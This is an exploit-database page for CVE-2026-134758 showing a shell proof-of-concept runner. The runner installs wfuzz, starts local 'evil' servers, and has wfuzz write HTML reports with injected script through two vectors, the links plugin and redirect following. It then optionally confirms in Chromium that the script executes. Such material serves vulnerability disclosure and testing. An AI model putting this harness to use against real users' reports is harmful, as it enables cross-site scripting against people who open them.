Exploit databaseDownload repository ZIP
GH-c6e4092402bdd683ee00eb8588d313e3
vulnsvnc/cve-2026-134758
Sources for CVE-2026-134758
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files5
vulnsvnc/cve-2026-134758Revision a17c3bba1ad1
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
run_poc.sh
Suggested starting fileShell · 2,135 bytes#!/usr/bin/env bash
# CVE-2026-134758 PoC runner.
#
# Usage:
# export WFUZZ_SRC=/path/to/wfuzz-master
# ./run_poc.sh
set -euo pipefail
HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
: "${WFUZZ_SRC:?Set WFUZZ_SRC to the path of the extracted wfuzz-master source tree}"
VENV="$HERE/.venv"
PY="$VENV/bin/python"
echo "[*] Creating virtualenv at $VENV"
python3 -m venv "$VENV"
"$VENV/bin/pip" install -q --upgrade pip
"$VENV/bin/pip" install -q "setuptools<81" pycurl six pyparsing chardet
echo "[*] Installing wfuzz from $WFUZZ_SRC (editable, unmodified source)"
"$VENV/bin/pip" install -q -e "$WFUZZ_SRC"
export PYTHONPATH="$HERE/compat_shims"
echo "[*] Starting malicious servers"
pkill -f evil_server.py 2>/dev/null || true
pkill -f evil_redirect_server.py 2>/dev/null || true
"$PY" "$HERE/evil_server.py" 8888 > "$HERE/evil_server.log" 2>&1 &
SERVER1_PID=$!
"$PY" "$HERE/evil_redirect_server.py" 8889 > "$HERE/evil_redirect.log" 2>&1 &
SERVER2_PID=$!
sleep 1
trap 'kill "$SERVER1_PID" "$SERVER2_PID" 2>/dev/null || true' EXIT
echo
echo "=== Vector 1: --script=links ==="
rm -f "$HERE/out.html"
"$VENV/bin/wfuzz" --script=links -f "$HERE/out.html",html -z range,0-0 "http://127.0.0.1:8888/FUZZ" || true
echo "--- injected row in out.html ---"
grep -o '<tr><td>00001.*svg[^<]*<[^<]*</a></td></tr>' "$HERE/out.html" || cat "$HERE/out.html"
echo
echo "=== Vector 2: -L (follow redirects) ==="
rm -f "$HERE/out_redirect.html"
"$VENV/bin/wfuzz" -L -f "$HERE/out_redirect.html",html -z range,0-0 "http://127.0.0.1:8889/FUZZ" || true
echo "--- injected row in out_redirect.html ---"
grep -o '<tr><td>00001.*svg[^<]*<[^<]*</a></td></tr>' "$HERE/out_redirect.html" || cat "$HERE/out_redirect.html"
echo
echo "=== Verifying script execution in headless Chromium (optional) ==="
if "$PY" -c "import playwright" 2>/dev/null; then
"$PY" "$HERE/verify_xss.py" "$HERE/out.html"
"$PY" "$HERE/verify_xss.py" "$HERE/out_redirect.html"
else
echo "Playwright not installed in this venv; skipping live JS-execution check."
echo "Install with: $VENV/bin/pip install playwright && $VENV/bin/playwright install chromium"
fi